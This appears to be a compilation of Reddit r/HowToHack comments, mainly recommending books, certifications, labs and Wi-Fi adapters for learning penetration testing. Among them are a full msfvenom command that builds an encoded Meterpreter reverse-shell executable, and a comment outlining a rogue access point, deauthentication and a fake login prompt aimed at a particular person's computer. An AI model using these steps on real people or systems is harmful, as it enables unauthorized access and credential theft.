Start here.

Read those left to right. You will learn a lot about networking, a lot about Python and how that is commonly used to hack, and then a lot about Kali Linux. You won't learn how to use the tools, but you will learn what they are.

I would also recommend "Operating System Concepts" but it is a bit pricey. I like that book because it doesn't teach you how to use a bunch of commands in linux, rather it teaches you how operating systems work and why they work that way. Very interesting, and there is an entire section on security. Also, "Penetration Testing" is a good one, and it is cheap too. You will learn how to use some Kali tools, but you'll also learn the important stuff. Buffer overflows and format string attacks are what you need to know how to do. You need to know how to look at and manipulate memory.

If you want to figure out how to do it yourself, read the first four books. If you want a step-by-step guide of exactly what to do, read the last book. It is also pretty important, IMHO, to know a bit about operating systems, but honestly you don't need that one. It just tells you why things are the way they are, which is sometimes helpful when you're like "oh I wonder if I can hack in like this" but then you remember that you could, but they changed it because you could.

Good luck on your endeavors!

Edit: I looked at the sidebar and it agrees with me about learning how OS's work. It says: I think the best place to start is to get a solid understanding of OS concepts first. The combo of Linux, C, and ASM are almost essential to really understanding how everything melts together. I like this resource:

Copy paste from a post I made earlier

Malware RE isn't really all that much voodoo as it seems, you take the executable and break it down into steps.

First check out the PE headers and find what strings you can, characteristics. Figure out if the malware is packed or not.

A quick and dirty way to get an idea of what it does it run it with certain tools on the system and a linux box to intercept all network communications. This is called behavioral analysis.

After that you can load it into a disassembler like IDA Pro and start looking for interesting functions or windows API calls. Things like WriteFile, VirtualAllocEx, ReadFile then figure out that they are doing.

After that you can take it into your debugger (I like OllyDbg) and set some breakpoints at interesting functions to see what the malware is doing in the stack. Like I said, its not voodoo once you look into it further.

Creating the malware is a whole different story and outside my skill set. In fact I hate programming and know only high level programming, basically I can interpret code and what it wants to do. But I have an easier time reading Assembly (lol) than something like C++. But coding malware is just like coding anything else, design it for what you want it to do and get to work. Stuff like Stuxnet had probably at a minimum 10 extremely talented coders behind it.

I realize this is an old post, but I figured I would add my two cents in:

If you have no Linux Knowledge, I would recommend these two books:

I would also recommend getting a book on windows server:

After going over those you should have a fundamental understanding of Unix/Linux

Then I would recommend this if you need to brush up on your basic networking knowlege:

Some security theory wouldn't hurt: I'd recommend these in no particular order:

And now we actually start getting into penetration testing:

Full disclosure: I have used all these books in my studies. I am not affiliated in any way with these authors, this also isn't something you can just "master" in 24 hours; you may however learn a few cool tricks early. My advice would be to keep at it, not only read these books, but setup Virtual environments to test these concepts in.

Those books I listed should give you a fundamental understanding of: Linux, Windows server, Networking, Information security theory, computer forensics, and basic penetration testing.

I would also recommend you take up a scripting language, Python is pretty simple to learn if you haven't already, and insanely powerful in the right hands.

Oh, one thing I forgot. NEVER EVER EVER run Kali linux as your primary distribution, setup a duel-boot and use something like Debian as your "casual" computer, and then souly use Kali or backtrack as your "Network security distro"

u/_Skeith · 11 pointsr/HowToHack

Both are wanted m8! Seriously there is no shortage for Cyber Security Professionals, there are too many jobs, and too little people to fill them!

Red Team is a little harder to break into then Blue Team is, due to the wide range of knowledge you need. Red Team is more offensive, so you will be hacking companies (legally) and testing for vulnerabilities, misconfigurations, etc.

Blue Team is more defensive, so you will be working for a company internally - basically preventing cyber attacks, setting up firewalls, managing IDS/IPS, tracking malware, working with SIRT on breaches, doing DFIR and Data Recover, etc.

Since you said you want to break into Red team, then I highly suggest you start with the Security+ (as I posted above) so you can get the basics down.

At the same time start listening to podcasts like Paul's Security Weekly, Down the Security Rabbit Hole, etc. As well as start reading blogs on hacking to get a feel for whats done, get a grasp at security terminology, and just recent news overall.

Get a home lab and learn a few tools like Wireshark and Nmap for basic Cyber Security work - to learn how packets work, how they are structured, and how to scan pc's for ports and services. At the same time, focus on learning about threats and vulnerabilities (which are covered in security+).

If you want to get into PenTesting then you need a wide range of knowledge. Pick up and learn a few languages (master the basics and understand what the code does and how to read/interpret it). You need to know: PHP, HTML, SQL, Python (or Ruby), and a basic language like C, or Java (but this is for more advanced topics like buffer overflows and all)

If you want to dig deeper into PenTesting then start reading:

The above is a good way to get into the Kali Distro and learn how to run Metasploit against vulnerable VM's.

Take a look at for books, and vulnerable VM's to practice on. is also a good place with tons of videos on Ethical Hacking, Post Exploitation, Python for Security, Metasploit, etc.

Pick up some books such as

The Hacker Playbook 2: Practical Guide To Penetration Testing

Hacking: The Art of Exploitation

Black Hat Python: Python Programming for Hackers and Pentesters

Rtfm: Red Team Field Manual

The Hackers Playbook is great resources to get you started and take you step by step on pen testing that will allow you to alter explore the endless possibilities. The Art of Exploitation is also very good, but it's more for exploit writing and buffer overflows (much more advanced topic to save for later!)

Also a good list of resources that you can learn more about security:

Getting Started in Information Security

Pentester Labs

Awesome InfoSec

Awesome Pentest

u/lebootydestroyer · 15 pointsr/HowToHack

Learning to hack, with little knowledge of it, will be a journey. You have some background in CS which will definitely help.

Learning to hack, from scratch, is where things become difficult. Where do you start? How do you learn? Luckily there's a vast amount of resources to learn from online.

To start learning is a matter of what you prefer.

Like watching videos/lectures?

Prefer reading books on the subject?

Most universities have Ethical Hacking / Cyber Security courses, can always check there.

I'd recommend learning Python, SSH, and the Linux Terminal in general to get started. But learning how those apply to hacking is a matter of learning and practice.

Hope this helped, and good luck!

u/suicidalginger · 3 pointsr/HowToHack

I don't know how in depth you want to learn, how in depth determines our recommendations.

  1. Do you want to just find out if a site is vulnerable?
  2. Do you want to learn how attacks work and how the defenses to those attacks work?
  3. Do you want to get certified in security and make that a huge part of your resume?

    You sound like you want the second option.

    The key phrase for you is going to be "web application security". That is what security experts (and anyone in this industry) call it.

    For web application security there is kind of one master book that covers almost everything, The Web Application Hackers Handbook. I have the book siting right in front of me its about 900 pages and covers just about everything you could ever ask for. Also you'r going to want to get Burp Suite. You can install Kali linux in a VM and it has Burp Suite (recommended) or you can download the free edition for Windows from there website.

    Along with the book set up DVWA (there are hundreds of tutorials online on how to do that, hint use XAMPP.) or you can use the paid labs they mention in The Web Application Hackers Handbook. Also visit HackThisSite and other sites that offer web application security practice.

    So lets recap:

  4. Buy The Web Application Hackers Handbook.

  5. Setup DVWA.

    3.Visit sites that offer web application security challenges.

    By the end of that you should be pretty good at attacking web applications.
u/irpwnu2 · 2 pointsr/HowToHack

It's how I started so I say it's a pretty decent way to start. The most important thing is understanding how the tools work (especially the ones with a GUI) and how they fit together. I suggest reading . It's based on BackTrack but there isn't too many discrepancies between the two. It does a wonderful job of teaching what I described above. Good Luck!

u/mikejay707 · 7 pointsr/HowToHack

Everyone has their own way. I would say start off small and organized, start with something easy and branch off into the more harder stuff. As for me I and how I did it (and I'm still learning btw, it's a never ending process) is to pick up a couple books about "hacking" or penetration testing. I highly recommend this book to start:, it covers the concept of hacking and breaks it down into steps so that a beginner could understand. After I got the concepts, I started to learn Linux (it's kinda a rule of thumb for hackers to know how to use Linux) I learned how the operating system works, the history of it, how to use the terminal, etc. I even completely stop using windows and using entirely Linux for several months.

After that I started to pick up programming languages and I'm still learning them to this day. I would recommend starting out with a scripting language like python and branch out, you don't need to learn it to a point where you become a software engineer, I mean it's a big plus but you don't need to go that hard. Enough where you get familiar with the syntax and know how to create simple programs.

After that I started to use Kali Linux and learned to use the tools and I started to do CTF challenges which I think is the best way to learn is hands on learning and CTFs do just that

good sites:

u/fixles · 1 pointr/HowToHack

Python probably not a good choice for a keylogger as you'd need python installed. Suppose fine it you plan on installing it on a linux box.

You would need to gain control of the box first. Metasploit can help you there but I'd say you need to read a couple of beginner security books from Amazon first. This one is pretty good.

u/TonyDKO · 1 pointr/HowToHack

Okay, first install the lab, add Virtual machines of Windows XP, 7, 2008R2, Linux, different servers like Apache, SQL DB.. then go ahead and scan them, see how different Kali tools work.
I recommend you this book

Good Luck

u/Kimput · 2 pointsr/HowToHack

Would be great if you could explain what it is you actually want to be learning. Are we talking about hacking webapps? IoT-devices? Network hacking?

I think The Art of Exploitation is a great book. Gives you a good idea of the low level stuffz you would need to know if you wish to break into hacking!

u/twystoffer · 4 pointsr/HowToHack

Given your background as a programmer, I would recommend starting with SQL exploits. You need to have at least a working knowledge in how programs and script work, and it gives you the framework for understand how to be clever with the existing code logic and how to think outside the box.

If that ends up being too easy or once you get a good handle on that, take a look at metasploit and the exploit database associated with that. Rather than just using the exploits, look at the code and get an idea of how the individual exploits work (which are all the same on the base level: using logic in a creative way the original programmers didn't think of or intend).

As for books, I recommend This One as a primer. It's not exactly up to date, but the theory is sound (giving you a solid foundation on how exploits are made and the thought process behind them).

I really like This One for learning metasploit and getting a further understanding of exploit scripts.

And I just love This Book in general. Once you take a look, you'll see why.

u/BamBahnhoff · 1 pointr/HowToHack

I‘m not really into radio-things, but I want to get into it. I want something that is able to hijack a radio-audio system (basically speakers with the audio being transmitted on radio) , at best as far away as possible. Can you give me any advice for that?
Is this good, or could I also go with the ones you linked?

u/SirBaronBamboozle · 1 pointr/HowToHack

While there may be cheaper, IMO this is the best bang for your buck. I use it and know others that use it. Works great with Linux, airmon-ng, and wireshark

u/Smarticu5 · 3 pointsr/HowToHack

Mess around with various programs and operating systems. Learn to program, learn web development, learn scripting languages, learn databasing basics, learn about how networks and computer hardware works. When you have a basic knowledge of any of these areas, see if you actually like them. If you do, learn more of that area. Start to research more of that field, specifically revolving around security. And read. Seriously, find any book on security and read it. "The Art of Exploitation" is an amazing book with a great live CD full of exercises to get you started.

u/cloneruler · 3 pointsr/HowToHack

Network+,Security+,Linux+ = Good.

Udemy i'm not exactly sure about, I have no idea how good it is, however Cybrary does have penetration testing courses on there for free and they're decent.

Grey & Black hat python - Great books. I'm currently looking at black hat python, and it's awesome.

Some other books i'd recommend: Hacking: The Art of Exploitation The hacker playbook 2

While i'm not a professional pentester(YET :P) i've learned alot from the books I listed above as well as the cybrary videos. If you really have the money, I recommend the Penetration Testing With Kali Linux Course From Offensive Security It's fairly expensive, but I've heard it's worth it.

u/RoboticHam · 16 pointsr/HowToHack

Hi! Saying this as constructively as possible...but I would argue that you do not need Kali to learn about pentesting. In fact, I would go as far as saying to not install Kali until you already know something about pentesting.

If I may recommend some reading material I think that it does a good job of explaining what is going on and the opportunity to write your own scripts and learn some cool (and reusable) stuff along the way.

I just don't think installing Kali anywhere is a great place to really start. I believe you will become a little bit overwhelmed and miss out on what it really means to pentest.

u/Truffl3 · 3 pointsr/HowToHack

This is asked alot, start here. I would recommend starting on simple notepad batch file programs, tutorials on youtube. Once youre done exploring with what that has to offer and think youre ready to move on to more complicated things, its highly debated on what you should start off with; I prefer python, but pick what suits what you want to do best. If you end up going with python and when you are somewhat fluent with it get this book, it helped me a ton. If you want to communicate discretely, look into IRC's, and obviously use a vpn.

u/ghostabdi · 1 pointr/HowToHack

Its probably the chip set, I bet it is an atheros, those tend to play nice, some do others don't, why? Well you are going to need someone more techy than me to find out. My best guess is from a prior experience when I had to put a card into monitor mode, it didn't happen so I suppose its drivers are crap for linux.

Anyway I would also think its probably better to put a few more dollars in to get the external antenna variant, [here.] (

u/keeegan · 22 pointsr/HowToHack

I have all these except the CEH (which shouldn't be on this list lol...) and they're all pretty good in their own way. Starting over, I'd go through hacker playbook while reading through the art of exploitation. You'll be pretty rounded at this point, blackhat python and metasploit will be a breeze. Do the ceh one if you're getting a job that wants to see embossed paper. Also, check out Web Application Hacker's Handbook, and Shellcoder's Handbook.

u/Kkari · 1 pointr/HowToHack

Your welcome. :) If you are truly interested there is a pretty comprehensive book on practical malware analysis, I have never read it but I assume it demands a solid knowledge of the above mentioned topics.

u/nopX0f · 11 pointsr/HowToHack

Go through "Hacking: The Art of Exploitation" by Jon Erickson and learn the skills as needed. When you can make it (and I mean not just do the examples, but understand the how and why in each example) through his book you should have some good base knowledge and an idea what subjects you enjoy, pursue them in that order after that.

u/imonlygayonfriday · 3 pointsr/HowToHack

I highly recommend you read this book!. It's a cheap and easy read. It'll help get you thinking in a pentester mind set.

u/imakepr0ngifs · 14 pointsr/HowToHack

Oh they’re connected to wifi?

I would set up a rouge wifi access point with same SSID and password as the existing one. If you need the password, you can dump it from the computer you have access to. Then you can send a single deauthentication packet to the MAC address for the target computer until it chooses your network (this is not a denial of service as you are forcing his computer to connect through your lab computer, which is still connected to the network)

From there, you can do network captures and control DNS. Do a network capture of port 80 (unecrypted) and DNS requests. He likely has software that automatically checked for software updates over HTTP (VLC does this, among others) every time he starts it.

Alternatively, you can rewrite a DNS request to cause windows to pop up a native windows login window via captive portal (the pop up you see at starbucks wifi)

Documentation here:

All in all, wifi makes things a lot easier. If you have an atheros/other wireless usb handy you can do all of this in ~15min or less.

Here’s the model I use:
TP-Link 150Mbps High Gain Wireless USB Adapter for PC and Laptops (TL-WN722N)

It’s $15 and even if you don’t succeed, you’ll never have crappy wifi on campus again. I have 3 in my bag right now.

u/robot_one · 2 pointsr/HowToHack

The biggest hurdle is that you will need a wireless card capable of injecting packets.

This is one of the more popular cards:

The one built into your computer might be capable, so check that first.


u/Packet-Fox · 1 pointr/HowToHack

I see this book recommended a good it:

For the price I think it is a decent resource.

For playing around you can also use - there are a few good challenges on there.

u/Finnocci · 7 pointsr/HowToHack

study for CompTIA A+.

They teach you stuff that a normal every-day user wouldn't need to concern themselves with, like OSI layers, types or protocols and standards for data transition. I think it also covers some aspects of security like what hashing is, types of encryption, and gets you used to some tech lingo that an average user may not understand.

After that, go for Network+, it dives deeper into...well, computer networks.

Plenty of free resources for both certifications online. And if you do decide to test for the certifications, they look real gucci on your resume if you have no prior IT experience.

After that, if you have some spare dough, pick up a cheap used laptop for probably $150 or so, and probably pick up one of these guys as well. You don't need any fancy specs. Just enough for you to download Ubuntu and learn linux, setup a challenge for yourself to navigate the operating system using the terminal and the terminal only. That includes installing new programs, opening up files, executing scripts, everything. No double clicking allowed, limit yourself from using the GUI of the OS as much as possible. If you want something done, learn to use the terminal to do it first.

And imo it's really important to do it in that order. Don't be like a lot of people, who thinks buying a laptop and a airmon-ng compatible wifi adapter will make them all set to start becoming a 1337 hacker, and lost interest in a month or two and have basically just wasted their money. Hacking really doesn't have a set course, but if you find yourself with enough interest and discipline to grind through two boring (but very informative) certifications, I believe that then you know you are in the right field. Mostly, you pick up pieces of knowledge here and there, no book is gonna be a fit-all solution towards becoming a hacker. It is the sum of those pieces of knowledge, that makes a hacker a hacker.

u/3nvisi0n · 3 pointsr/HowToHack

I'd recommend checking out The Web Application Hackers Handbook:

Its a solid book that covers a lot of what you'd want to know. It does make heavy use of the free BURP suite tool which is a fairly standard tool for web pentesters. It doesn't do everything for you but it helps manual testing.

u/triscious · 2 pointsr/HowToHack

I've used the TP Link TL-WN722N a lot with good results and have bought a couple of them; however, the price seems to be going up for some reason so I'm not sure if it's as great of a deal.

u/-vandarkholme · 3 pointsr/HowToHack

Two good books that will answer what you need. They go over making different tools that can help you in a penetration test.

I think python should be used more to automate things you'd normally do with other tools, not exactly use it to make "hacks".

You'd probably be better off using Ruby with the metasploit framework to actually make exploits, if thats what you mean.

u/l3af_on_the_wind · 3 pointsr/HowToHack

Alfa cards are great for most things you need to do for any kind of wireless hacking. However, not too long ago I ran into a few issues where mine wasn't compatible with some tools I was trying to use. I got this and it worked for me. You just need to do some research and make sure whatever you get is compatible for what you will be doing with it.

u/BeanBagKing · 11 pointsr/HowToHack
  1. Code Academy has some free resources for getting started: Overthewire is also usually recommended. Also, just start using Linux and google solutions as things come up that you don't know how to do. Regarding pentesting methods - There's a lot of resources out there, check the sidebar, but this book lays out the standard methods used: (you can probably find it cheaper with a no starch press discount code)
  2. WSL and python (or just python, but might as well get used to linux at the same time). Also, bash and powershell scripting.
  3. Yes, the book above isn't free, so like I said, sidebar and such. Ask for it for your birthday, do odd jobs, etc. You don't have to make things expensive, but you're eventually going to have to spend a little bit here and there.
  4. Anything. Kali is kind of the standard, which is basically Ubuntu Gnome (actually Debian based) with all the tools installed. Windows is good for some tools though, and just to learn the environment since Windows environments are typically the target.

    Also, second what /u/BigDaddyXXL said.
u/_kaine_ · 8 pointsr/HowToHack

I found Violent Python a very useful starting point. Particularly when someone else walks through it on video. I particularly find it harder to pick up computer science concepts when I can only read about them rather than follow someone else actually doing and explaining them like in a college course.

The 722n v2 doesnt support monitor mode. Instead I would recommend a Panda PAU06, it is about the same price and supports kali.


u/ndguardian · 3 pointsr/HowToHack

I know the book Hacking: The Art of Exploitation is often referenced as a book to take you from "I have a little experience" to being a little more comfortable with exploiting system vulnerabilities. Don't know if you have read it yet, but maybe it could help. Though this would likely be more for trying to compromise systems at the OS level rather than cracking specific applications, I imagine the same knowledge could be applied to either case.

u/v3ded · 2 pointsr/HowToHack

You won’t see wlan0 wireless interface due to how virtualization works. Your real wireless adapter is being used by your host OS. Parrot receives that connection as ethernet - ifconfig should show eth0, that’s why you have internet connection.

If you want to have wlan0 interface you need an external wireless adapter and pass it to that VM in Vbox / Vmware settings. I recommend or TPLINK WN722N.

u/StoveyJ · 3 pointsr/HowToHack

One option is to just jump in at the deep end. Buy this book - and follow along.

You might need to Google a few things you don't understand along the way but YouTube will almost certainly have a few 'explainer' videos for concepts you're not familiar with.

I mean, if you are only using it for Packet injection and wifi hacking etc. Id definetly go for the Alfa card especially the Alfa AWUS036NHA Ive got it and it does everything i need it to. but if you also want to use it for everyday use and you have internet speeds of over 70mpbs id say get another one if you really want to be getting over 70mpbs

i get about 75mpbs with ethernet and with my alfa card which is directly ontop of my moderm i get about 50mpbs

Yeah, it can get very boring. The best thing I can recommend is to just try it out on your "personal" network.

I don't know how much you know about programming but learn to program, learn Python, C/C++, Java. after this you should be able to pick up any language.

look at this for injecting cookies

and for learning more hacking try violent python:

as with everything find the pdf of it. Its out there.

Google is your friend. So you want to look up tutorials for things like sql injection, XSS, Cross-Site Request Forgery (CSRF).

Here are some attacks you can read:

Here are some terms you should be aware of when looking at antennas: (Note: The links there are affiliate links, but the longest range antenna from that list is the one I posted up there ^")

Is this device compatible? I know there is a lot of documentation on it regarding Kali.

Along the same lines, I've very much enjoyed what I've read from Violent Python so far.

Came here to say the same thing; you don't NEED Kali to pentest, it's really mostly used because it has a lot of tools already included. You can test from a Windows box if you really wanted to.

Kali won't magically make you a pentester, nor will it teach you how to be one as it's just a bundle of tools - there's no tutorials included with those tools. Read Hackers Playbook 2 and Penetration Testing: A Hands-On Introduction to Hacking and do some vulnerable VM's from places like Vulnhub

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your ip> LPORT=<port for listener> -f exe -e shinikata_ga_nai -i 9 -o <where you want it saved>

you can use --help-formats for other file formats other than exe. I recommend you do that to get experience.

alternatively, try using the web_delivery module in metasploit to generate lethal urls.

climbs upon soap box this is the problem with Armitage. Raphael is the nicest guy in the world, but putting that gui over the tools took the script out of script kiddie. you're not understanding what's going on under the hood, so you dunno, fundamentally why things are broken.

buy this and read it. you'll be miles ahead of where you are now and you'll see that armitage is only holding you back.

Seriously? No one said it? You can't do it with your built in wireless card 80% of the time. Get an AWUS036HN
